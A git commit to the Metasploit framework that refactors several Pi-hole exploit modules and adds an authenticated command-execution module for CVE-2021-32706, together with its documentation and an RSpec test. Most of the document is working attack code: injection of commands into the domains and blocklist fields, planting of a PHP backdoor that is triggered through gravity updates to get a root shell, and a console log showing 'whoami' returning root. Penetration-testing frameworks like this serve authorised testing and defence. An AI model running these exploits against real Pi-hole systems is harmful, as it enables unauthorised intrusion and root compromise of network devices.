some cleanup for rubocop

This commit is contained in:
h00die 2021-12-30 15:24:43 -05:00
parent c1f06eace8
commit c3e0f455ec
7 changed files with 529 additions and 141 deletions

View File

@ -0,0 +1,84 @@
## Vulnerable Application
This exploits a command execution in Pi-Hole Web Interface <= 5.5.
The Settings > API/Web inetrace page contains the field
Top Domains/Top Advertisers which is validated by a regex which does not properly
filter system commands, which can then be executed by calling the gravity
functionality. However, the regex only allows a-z, 0-9, _.
### Docker Compose
```
version: "3"
# More info at https://github.com/pi-hole/docker-pi-hole/ and https://docs.pi-hole.net/
services:
pihole:
container_name: pihole
image: pihole/pihole:v5.5
ports:
#- "53:53/tcp"
#- "53:53/udp"
#- "67:67/udp"
- "192.168.2.199:80:80/tcp"
environment:
TZ: 'America/Chicago'
WEBPASSWORD: ''
# Volumes store your data between container upgrades
volumes:
- './etc-pihole/:/etc/pihole/'
- './etc-dnsmasq.d/:/etc/dnsmasq.d/'
# Recommended but not required (DHCP needs NET_ADMIN)
# https://github.com/pi-hole/docker-pi-hole#note-on-capabilities
cap_add:
- NET_ADMIN
restart: unless-stopped
```
## Verification Steps
1. Install the application
1. Start msfconsole
1. Do: `use auxiliary/admin/http/pihole_domains_api_exec`
2. Do: `set rhosts [ip]`
3. Do: `run`
4. You should get the output from the command.
## Options
### COMMAND
The command to run. This is VERY restrictive. Valid characters are `0-9`, `a-z`, `_`.
[Ref](https://github.com/pi-hole/AdminLTE/blob/v5.3.1/scripts/pi-hole/php/savesettings.php#L71). Defaults to `pwd`.
## Scenarios
### Pi-hole v5.2.4 with Web Interface 5.3.1 via Docker
```
[*] Processing pihole.rb for ERB directives.
resource (pihole.rb)> use auxiliary/admin/http/pihole_domains_api_exec
resource (pihole.rb)> set rhosts 192.168.2.199
rhosts => 192.168.2.199
resource (pihole.rb)> set verbose true
verbose => true
resource (pihole.rb)> run
[*] Running module against 192.168.2.199
[+] Web Interface Version Detected: 5.3.1
[*] Using token: YbGnWVA3ogVs0eLaKjEDGPaX8Zy1l5X3dxfHHSdy6r8=
[*] Sending payload request
[*] Forcing gravity pull
[+] /var/www/html/admin/scripts/pi-hole/php
[*] Auxiliary module execution completed
msf6 auxiliary(admin/http/pihole_domains_api_exec) > set command whoami
command => whoami
msf6 auxiliary(admin/http/pihole_domains_api_exec) > run
[*] Running module against 192.168.2.199
[+] Web Interface Version Detected: 5.3.1
[*] Using token: 9dtOO2bIndYSyJ1KsGYBa7pV5B4MToTQB1h2dmRfHk8=
[*] Sending payload request
[*] Forcing gravity pull
[+] root
[*] Auxiliary module execution completed
```

View File

@ -0,0 +1,84 @@
# -*- coding: binary -*-
module Msf
class Exploit
class Remote
module HTTP
# This module provides a way of interacting with pihole installations
module Pihole
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super
register_options(
[
OptString.new('PASSWORD', [ false, 'Password for Pi-Hole interface', ''])
], Msf::Exploit::Remote::HTTP::Pihole
)
end
# Extracts the Pihole version information from the admin page
#
# @return [(String, String, String),nil] Pihole versions if found (version, web_version, ftl_version), nil otherwise
def get_versions
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'),
'method' => 'GET',
'keep_cookies' => 'true'
)
fail_with(Msf::Exploit::Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Msf::Exploit::Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200
# Verified against:
# (current) 5.7, 5.12.1, 5.9
# 5.2.2, 5.2.2, 5.3.3
# 4.4, 4.3.3, 4.3.1
# 4.3.2, 4.3, 4.3.1
unless %r{<(?:strong|b)>Pi-hole(?: Version)?\s*</(?:strong|b)>\s*(?:<a .*?>)?v(?<version>[\d.]{1,8})\s*<}m =~ res.body
# vDev versions
%r{<(?:strong|b)>Pi-hole(?: Version)?\s*</(?:strong|b)>\s*(?:<a .*?>)?vDev \(\w+, v(?<version>[\d.]{1,8})[\w-]+\)<}m =~ res.body
end
%r{<(?:strong|b)>Web Interface(?: Version)?\s*</(?:strong|b)>\s*(?:<a .*?>)?v(?<web_version>[\d.]{1,8})\s*<}m =~ res.body
%r{<(?:strong|b)>FTL(?: Version)?\s*</(?:strong|b)>\s*(?:<a .*?>)?v(?<ftl_version>[\d.]{1,8})\s*<}m =~ res.body
return version, web_version, ftl_version
end
# Performs a login to pihole
#
# @return [String,nil] cookie if login was successful, nil otherwise
def login(password)
vprint_status('Attempting login.')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'),
'vars_get' => {
'login' => ''
},
'vars_post' => {
'pw' => password
},
'method' => 'POST',
'keep_cookies' => 'true'
)
if res && res.body.include?('Sign in to start your session')
fail_with(Msf::Exploit::Failure::BadConfig, 'Incorrect Password')
end
res.get_cookies
end
# Performs a gravity update
#
# @return [HTTPResponse,nil] HTTPResponse
def update_gravity
vprint_status('Forcing gravity pull')
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'scripts', 'pi-hole', 'php', 'gravity.sh.php'),
'keep_cookies' => 'true'
)
end
end
end
end
end
end

View File

@ -0,0 +1,140 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Pihole
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Pi-Hole Top Domains API Authenticated Exec',
'Description' => %q{
This exploits a command execution in Pi-Hole Web Interface <= 5.5.
The Settings > API/Web inetrace page contains the field
Top Domains/Top Advertisers which is validated by a regex which does not properly
filter system commands, which can then be executed by calling the gravity
functionality. However, the regex only allows a-z, 0-9, _.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'SchneiderSec' # original PoC, discovery
],
'References' => [
['URL', 'https://github.com/pi-hole/AdminLTE/security/advisories/GHSA-5cm9-6p3m-v259'],
['CVE', '2021-32706']
],
'Targets' => [
[ 'Automatic Target', {}]
],
'DisclosureDate' => '2021-08-04',
'Privileged' => true,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK]
}
)
)
register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI', [ true, 'The URI of the Pi-Hole Website', '/']),
OptString.new('COMMAND', [ true, 'The command to execute. Only 0-9, a-z, _ are allowed.', 'pwd']),
]
)
end
def check
begin
_version, web_version, _ftl = get_versions
if web_version && Rex::Version.new(web_version) <= Rex::Version.new('5.6')
vprint_good("Web Interface Version Detected: #{web_version}")
return Exploit::CheckCode::Appears
else
vprint_bad("Web Interface Version Detected: #{web_version}")
return Exploit::CheckCode::Safe
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
Exploit::CheckCode::Safe
end
def validate_command
# https://github.com/pi-hole/AdminLTE/blob/v5.3.1/scripts/pi-hole/php/savesettings.php#L71
unless /^((\*.)?[_a-z\d](-*[_a-z\d])*)(\.([_a-z\d](-*[a-z\d])*))*(\.([_a-z\d])*)*$/i =~ datastore['COMMAND']
fail_with(Failure::BadConfig, 'COMMAND invalid. only _, a-z, 0-9 are allowed.')
end
end
def run
validate_command
if check != Exploit::CheckCode::Appears
fail_with(Failure::NotVulnerable, 'Target is not vulnerable')
end
# get token
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
'vars_get' => {
'tab' => 'api'
},
'keep_cookies' => 'true'
)
# check if we got hit by a login prompt
if res && res.body.include?('Sign in to start your session')
res = login
end
if res && res.body.include?('Sign in to start your session')
fail_with(Failure::BadConfig, 'Incorrect Password')
end
# <input type="hidden" name="token" value="t51q3YuxWT873Nn+6lCyMG4Lg840gRCgu03akuXcvTk=">
# may also include /
%r{name="token" value="(?<token>[\w+=/]+)">} =~ res.body
unless token
fail_with(Failure::UnexpectedReply, 'Unable to find token')
end
vprint_status("Using token: #{token}")
print_status('Sending payload request')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
'vars_get' => {
'tab' => 'api'
},
'vars_post' => {
'domains' => "*;#{datastore['COMMAND']}",
'clients' => '',
'querylog-permitted' => 'on',
'querylog-blocked' => 'on',
'field' => 'API',
'token' => token
},
'keep_cookies' => 'true',
'method' => 'POST'
)
fail_with(Failure::UnexpectedReply, 'Unable to save settings') unless res && res.body.include?('The API settings have been updated')
res = update_gravity
fail_with(Failure::UnexpectedReply, 'Unable to update gravity') unless res && res.code == 200
# first line after our output should be: data: [i] Neutrino emissions detected...
output = res.body.split(' [i] ')[0]
# remove beginning of line with data on it
output = output.gsub(/^data:/, '')
# removing last line since its empty
output = output.split[0..-1]
print_good(output.join("\n"))
end
end

View File

@ -10,6 +10,7 @@ class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HTTP::Pihole
def initialize(info = {})
super(
@ -91,17 +92,7 @@ class MetasploitModule < Msf::Exploit::Remote
def check
begin
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'),
'method' => 'GET'
)
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200
# <b>Pi-hole Version <\/b> v4.3.2 <b>
# <b>Pi-hole Version </b> v4.3.2 <a class="alert-link lookatme" href="https://github.com/pi-hole/pi-hole/releases" target="_blank">(Update available!)</a> <b>
%r{<b>Pi-hole Version\s*</b>\s*v?(?<version>[\d.]+).*<b>} =~ res.body
version, _web_version, _ftl = get_versions
if version && Rex::Version.new(version) <= Rex::Version.new('4.4')
vprint_good("Version Detected: #{version}")
return CheckCode::Appears
@ -115,7 +106,7 @@ class MetasploitModule < Msf::Exploit::Remote
CheckCode::Safe
end
def add_blocklist(file, token, cookie)
def add_blocklist(file, token)
# according to the writeup, if you have a port, the colon gets messed up in the encoding.
# also, looks like if you have a path (/file.php), it won't trigger either, or the / gets
# messed with.
@ -129,7 +120,7 @@ class MetasploitModule < Msf::Exploit::Remote
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
'method' => 'POST',
'cookie' => cookie,
'keep_cookies' => 'true',
'vars_get' => {
'tab' => 'blocklists'
},
@ -137,34 +128,11 @@ class MetasploitModule < Msf::Exploit::Remote
)
end
def update_gravity(cookie)
vprint_status('Forcing gravity pull')
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'scripts', 'pi-hole', 'php', 'gravity.sh.php'),
'cookie' => cookie
)
end
def execute_shell(backdoor_name, cookie)
def execute_shell(backdoor_name)
vprint_status('Popping root shell')
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'scripts', 'pi-hole', 'php', backdoor_name),
'cookie' => cookie
)
end
def login(cookie)
vprint_status('Login required, attempting login.')
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
'cookie' => cookie,
'vars_get' => {
'tab' => 'blocklists'
},
'vars_post' => {
'pw' => datastore['PASSWORD']
},
'method' => 'POST'
'keep_cookies' => 'true'
)
end
@ -193,15 +161,14 @@ class MetasploitModule < Msf::Exploit::Remote
begin
# get cookie
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php')
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'),
'keep_cookies' => 'true'
)
cookie = res.get_cookies
print_status("Using cookie: #{cookie}")
# get token
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
'cookie' => cookie,
'keep_cookies' => 'true',
'vars_get' => {
'tab' => 'blocklists'
}
@ -209,7 +176,7 @@ class MetasploitModule < Msf::Exploit::Remote
# check if we got hit by a login prompt
if res && res.body.include?('Sign in to start your session')
res = login(cookie)
res = login
end
if res && res.body.include?('Sign in to start your session')
@ -229,28 +196,28 @@ class MetasploitModule < Msf::Exploit::Remote
backdoor_name = "#{rand_text_alphanumeric 5..10}.php"
register_file_for_cleanup backdoor_name
print_status('Adding backdoor reference')
add_blocklist(backdoor_name, token, cookie)
add_blocklist(backdoor_name, token)
# update gravity
update_gravity(cookie)
update_gravity
if @stage == 0
print_status('Sending 2nd gravity update request.')
update_gravity(cookie)
update_gravity
end
# plant root upgrade
print_status('Adding root reference')
add_blocklist('teleporter.php', token, cookie)
add_blocklist('teleporter.php', token)
# update gravity
update_gravity(cookie)
update_gravity
if @stage == 1
print_status('Sending 2nd gravity update request.')
update_gravity(cookie)
update_gravity
end
# pop shell
execute_shell(backdoor_name, cookie)
execute_shell(backdoor_name)
print_status("Blocklists must be removed manually from #{normalize_uri(target_uri.path, 'admin', 'settings.php')}?tab=blocklists")
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")

View File

@ -7,6 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Pihole
def initialize(info = {})
super(
@ -52,7 +53,6 @@ class MetasploitModule < Msf::Exploit::Remote
register_options(
[
Opt::RPORT(80),
OptString.new('PASSWORD', [ false, 'Password for Pi-Hole interface', '']),
OptString.new('TARGETURI', [ true, 'The URI of the Pi-Hole Website', '/'])
]
)
@ -60,24 +60,13 @@ class MetasploitModule < Msf::Exploit::Remote
def check
begin
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'),
'method' => 'GET'
)
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200
_version, web_version, _ftl = get_versions
# vDev (HEAD, v4.3-0-g44aff72)
# v4.3
# rubocop:disable Lint/MixedRegexpCaptureTypes
%r{<b>Web Interface Version\s*</b>\s*(vDev \(HEAD, )?v?(?<version>[\d.]+)\)?.*<b>}m =~ res.body
# rubocop:enable Lint/MixedRegexpCaptureTypes
if version && Rex::Version.new(version) <= Rex::Version.new('4.3.2')
vprint_good("Version Detected: #{version}")
if web_version && Rex::Version.new(web_version) <= Rex::Version.new('4.3.2')
vprint_good("Web Interface Version Detected: #{web_version}")
return CheckCode::Appears
else
vprint_bad("Version Detected: #{version}")
vprint_bad("Web Interface Version Detected: #{web_version}")
return CheckCode::Safe
end
rescue ::Rex::ConnectionError
@ -86,28 +75,13 @@ class MetasploitModule < Msf::Exploit::Remote
CheckCode::Safe
end
def login(cookie)
vprint_status('Login required, attempting login.')
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
'cookie' => cookie,
'vars_get' => {
'tab' => 'piholedhcp'
},
'vars_post' => {
'pw' => datastore['PASSWORD']
},
'method' => 'POST'
)
end
def add_static(payload, cookie, token)
def add_static(payload, token)
# we don't use vars_post due to the need to have duplicate fields
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
'ctype' => 'application/x-www-form-urlencoded',
'cookie' => cookie,
'method' => 'POST',
'keep_cookies' => 'true',
'vars_get' => {
'tab' => 'piholedhcp'
},
@ -134,15 +108,14 @@ class MetasploitModule < Msf::Exploit::Remote
@macs = []
# get cookie
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php')
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'),
'keep_cookies' => 'true'
)
cookie = res.get_cookies
print_status("Using cookie: #{cookie}")
# get token
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
'cookie' => cookie,
'keep_cookies' => 'true',
'vars_get' => {
'tab' => 'piholedhcp'
}
@ -150,16 +123,23 @@ class MetasploitModule < Msf::Exploit::Remote
# check if we got hit by a login prompt
if res && res.body.include?('Sign in to start your session')
res = login(cookie)
end
if res && res.body.include?('Sign in to start your session')
fail_with(Failure::BadConfig, 'Incorrect Password')
cookie = login
# get token
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
'cookie' => cookie,
'keep_cookies' => 'true',
'vars_get' => {
'tab' => 'piholedhcp'
}
)
end
# <input type="hidden" name="token" value="t51q3YuxWT873Nn+6lCyMG4Lg840gRCgu03akuXcvTk=">
# may also include /
%r{name="token" value="(?<token>[\w+=/]+)">} =~ res.body
if res
%r{name="token" value="(?<token>[\w+=/]+)">} =~ res.body
end
unless token
fail_with(Failure::UnexpectedReply, 'Unable to find token')
@ -180,7 +160,7 @@ class MetasploitModule < Msf::Exploit::Remote
mac = rand_text_hex(12).upcase
@macs << mac
vprint_status("Validating path with MAC: #{mac}")
res = add_static("#{mac}$PATH", cookie, token)
res = add_static("#{mac}$PATH", token)
# ruby regex w/ interpolate and named assignments needs to be in .match instead of =~
env = res.body.match(/value="#{mac}(?<env>.*)">/)
@ -215,7 +195,7 @@ class MetasploitModule < Msf::Exploit::Remote
vprint_status("Shellcode: #{shellcode}")
print_status('Sending Exploit')
add_static(shellcode, cookie, token)
add_static(shellcode, token)
# we don't use vars_post due to the need to have duplicate fields
ip = '192.168'
@ -223,7 +203,7 @@ class MetasploitModule < Msf::Exploit::Remote
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
'ctype' => 'application/x-www-form-urlencoded',
'cookie' => cookie,
'keep_cookies' => 'true',
'method' => 'POST',
'vars_get' => {
'tab' => 'piholedhcp'

View File

@ -8,6 +8,7 @@ class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::HTTP::Pihole
def initialize(info = {})
super(
@ -45,39 +46,16 @@ class MetasploitModule < Msf::Exploit::Remote
register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI', [ true, 'The URI of the Pi-Hole Website', '/']),
OptString.new('PASSWORD', [ false, 'Password for Pi-Hole interface', '']),
OptString.new('TARGETURI', [ true, 'The URI of the Pi-Hole Website', '/'])
]
)
end
def login(cookie)
vprint_status('Login required, attempting login.')
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
'cookie' => cookie,
'vars_get' => {
'tab' => 'blocklists'
},
'vars_post' => {
'pw' => datastore['PASSWORD']
},
'method' => 'POST'
)
end
def execute_command(cmd, _opts = {})
# get cookie
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php')
)
cookie = res.get_cookies
print_status("Using cookie: #{cookie}")
# get token
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'list.php'),
'cookie' => cookie,
'keep_cookies' => 'true',
'vars_get' => {
'l' => 'white'
}
@ -85,11 +63,16 @@ class MetasploitModule < Msf::Exploit::Remote
# check if we got hit by a login prompt
if res && res.body.include?('Sign in to start your session')
res = login(cookie)
end
if res && res.body.include?('Sign in to start your session')
fail_with(Failure::BadConfig, 'Incorrect Password')
cookie = login
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'list.php'),
'keep_cookies' => 'true',
'ctype' => 'application/x-www-form-urlencoded',
'cookie' => cookie,
'vars_get' => {
'l' => 'white'
}
)
end
# <div id="token" hidden>f5al5pNfFj9YOCSdX159tXjttdHUOAuxOJDgwcgnUHs=</div>
@ -106,6 +89,7 @@ class MetasploitModule < Msf::Exploit::Remote
'method' => 'POST',
'ctype' => 'application/x-www-form-urlencoded',
'cookie' => cookie,
'keep_cookies' => 'true',
'uri' => normalize_uri(target_uri.path, 'admin', 'scripts', 'pi-hole', 'php', 'add.php'),
'vars_post' => {
'domain' => "#{rand_text_alphanumeric(3..5)}.com;#{cmd}",
@ -117,24 +101,13 @@ class MetasploitModule < Msf::Exploit::Remote
def check
begin
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'),
'method' => 'GET'
)
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200
_version, web_version, _ftl = get_versions
# vDev (HEAD, v3.2.1-0-g31dddd8-dirty)
# v3.2.1
# rubocop:disable Lint/MixedRegexpCaptureTypes
%r{<b>Web Interface Version\s*</b>\s*(vDev \(HEAD, )?v?(?<version>[\d.]+)\)?.*<b>}m =~ res.body
# rubocop:enable Lint/MixedRegexpCaptureTypes
if version && Rex::Version.new(version) < Rex::Version.new('3.3')
vprint_good("Version Detected: #{version}")
if web_version && Rex::Version.new(web_version) < Rex::Version.new('3.3')
vprint_good("Web Interface Version Detected: #{web_version}")
return CheckCode::Appears
else
vprint_bad("Version Detected: #{version}")
vprint_bad("Web Interface Version Detected: #{web_version}")
return CheckCode::Safe
end
rescue ::Rex::ConnectionError

View File

@ -0,0 +1,160 @@
# -*- coding:binary -*-
require 'spec_helper'
RSpec.describe Msf::Exploit::Remote::HTTP::Pihole do
subject do
mod = ::Msf::Module.new
mod.extend described_class
mod
end
let(:valid_password) do
'password'
end
let(:valid_cookie) do
'PHPSESSID=ma4vsmicoesr8ajajraehad6mb'
end
let(:valid_code) do
200
end
describe '#pihole_versions' do
it 'raises error if page can not be reached' do
allow(subject).to receive(:send_request_cgi) do
res = Rex::Proto::Http::Response::E404.new
res
end
expect(subject.get_versions).to raise_error(RuntimeError)
end
it 'returns nil,nil,nil when page can be reached but isn\'t a Pihole' do
allow(subject).to receive(:send_request_cgi) do
res = Rex::Proto::Http::Response.new
res.code = valid_code
res.body = 'Hello World'
res
end
expect(subject.get_versions).to eq([nil, nil, nil])
end
it 'returns 5.7, 5.9, 5.12.1, to version 5.7, 5.9, 5.12.1' do
allow(subject).to receive(:send_request_cgi) do
res = Rex::Proto::Http::Response.new
res.code = valid_code
res.body = "<li>\n"
res.body << "<strong>Pi-hole</strong>\n"
res.body << "<a href=\"https://github.com/pi-hole/pi-hole/releases/v5.7\" rel=\"noopener\" target=\"_blank\">v5.7</a>\n"
res.body << " </li>\n"
res.body << "<li>\n"
res.body << "<strong>FTL</strong>\n"
res.body << "<a href=\"https://github.com/pi-hole/FTL/releases/v5.12.1\" rel=\"noopener\" target=\"_blank\">v5.12.1</a>\n"
res.body << " </li>\n"
res.body << "<li>\n"
res.body << "<strong>Web Interface</strong>\n"
res.body << "<a href=\"https://github.com/pi-hole/AdminLTE/releases/v5.9\" rel=\"noopener\" target=\"_blank\">v5.9</a>\n"
res.body << " </li>\n"
res.body << "</ul>\n"
res
end
expect(subject.get_versions).to eq(['5.7', '5.9', '5.12.1'])
end
it 'returns 5.2.2, 5.2.2, 5.3.3 to version 5.2.2, 5.2.2, 5.3.3' do
allow(subject).to receive(:send_request_cgi) do
res = Rex::Proto::Http::Response.new
res.code = valid_code
res.body = "<li>\n"
res.body << "<strong>Pi-hole</strong>\n"
res.body << "<a href=\"https://github.com/pi-hole/pi-hole/releases/v5.2.2\" rel=\"noopener\" target=\"_blank\">v5.2.2</a>\n"
res.body << "&middot; <a class=\"lookatme\" href=\"https://github.com/pi-hole/pi-hole/releases/latest\" rel=\"noopener\" target=\"_blank\">Update available!</a> </li>\n"
res.body << "<li>\n"
res.body << "<strong>Web Interface</strong>\n"
res.body << "<a href=\"https://github.com/pi-hole/AdminLTE/releases/v5.2.2\" rel=\"noopener\" target=\"_blank\">v5.2.2</a>\n"
res.body << "&middot; <a class=\"lookatme\" href=\"https://github.com/pi-hole/AdminLTE/releases/latest\" rel=\"noopener\" target=\"_blank\">Update available!</a> </li>\n"
res.body << "<li>\n"
res.body << "<strong>FTL</strong>\n"
res.body << "<a href=\"https://github.com/pi-hole/FTL/releases/v5.3.3\" rel=\"noopener\" target=\"_blank\">v5.3.3</a>\n"
res.body << "&middot; <a class=\"lookatme\" href=\"https://github.com/pi-hole/FTL/releases/latest\" rel=\"noopener\" target=\"_blank\">Update available!</a> </li>\n"
res
end
expect(subject.get_versions).to eq(['5.2.2', '5.2.2', '5.3.3'])
end
it 'returns 4.4, 4.3.3, 4.3.1 to version 4.4, 4.3.3, 4.3.1' do
allow(subject).to receive(:send_request_cgi) do
res = Rex::Proto::Http::Response.new
res.code = valid_code
res.body = '<b>Pi-hole Version </b> v4.4 <a class="alert-link lookatme" href="https://github.com/pi-hole/pi-hole/releases" target="_blank">(Update available!)</a> <b>Web Interface Version </b>v4.3.3 <a class="alert-link lookatme" href="https://github.com/pi-hole/AdminLTE/releases" target="_blank">(Update available!)</a> <b>FTL Version </b> v4.3.1 <a class="alert-link lookatme" href="https://github.com/pi-hole/FTL/releases" target="_blank">(Update available!)</a> </div>'
res
end
expect(subject.get_versions).to eq(['4.4', '4.3.3', '4.3.1'])
end
it 'returns 4.3.2, 4.3, 4.3.1 to version 4.3.2, 4.3, 4.3.1' do
allow(subject).to receive(:send_request_cgi) do
res = Rex::Proto::Http::Response.new
res.code = valid_code
res.body = '<b>Pi-hole Version </b> v4.3.2 <b>Web Interface Version </b>v4.3 <b>FTL Version </b> v4.3.1 </div>'
res
end
expect(subject.get_versions).to eq(['4.3.2', '4.3', '4.3.1'])
end
it 'vDev (HEAD) as of 4.3' do
allow(subject).to receive(:send_request_cgi) do
res = Rex::Proto::Http::Response.new
res.code = valid_code
res.body = "<ul class=\"list-unstyled\">\n"
res.body << "<li><strong>Pi-hole</strong> vDev (HEAD, v4.3-0-g1d43c0a-dirty)</li>\n"
res.body << "<li><strong>Web Interface</strong> v5.5</li>\n"
res.body << "<li><strong>FTL</strong> v4.3.1</li>\n"
res.body << "</ul>\n"
res
end
expect(subject.get_versions).to eq(['4.3', '5.5', '4.3.1'])
end
end
describe '#pihole_logins' do
it 'raises error if page can not be reached' do
allow(subject).to receive(:send_request_cgi) do
res = Rex::Proto::Http::Response::E404.new
res
end
expect(subject.login(valid_password)).to raise_error(RuntimeError)
end
it 'raises error on bad login' do
allow(subject).to receive(:send_request_cgi) do
res = Rex::Proto::Http::Response.new
res.code = valid_code
res.body = 'Sign in to start your session'
res
end
expect(subject.login(valid_password)).to raise_error(RuntimeError)
end
it 'returns cookie on good login' do
allow(subject).to receive(:send_request_cgi) do
res = Rex::Proto::Http::Response.new
res.code = valid_code
res.headers['Set-Cookie'] = "#{valid_cookie};"
res
end
expect(subject.login(valid_password)).to include(valid_cookie)
end
end
end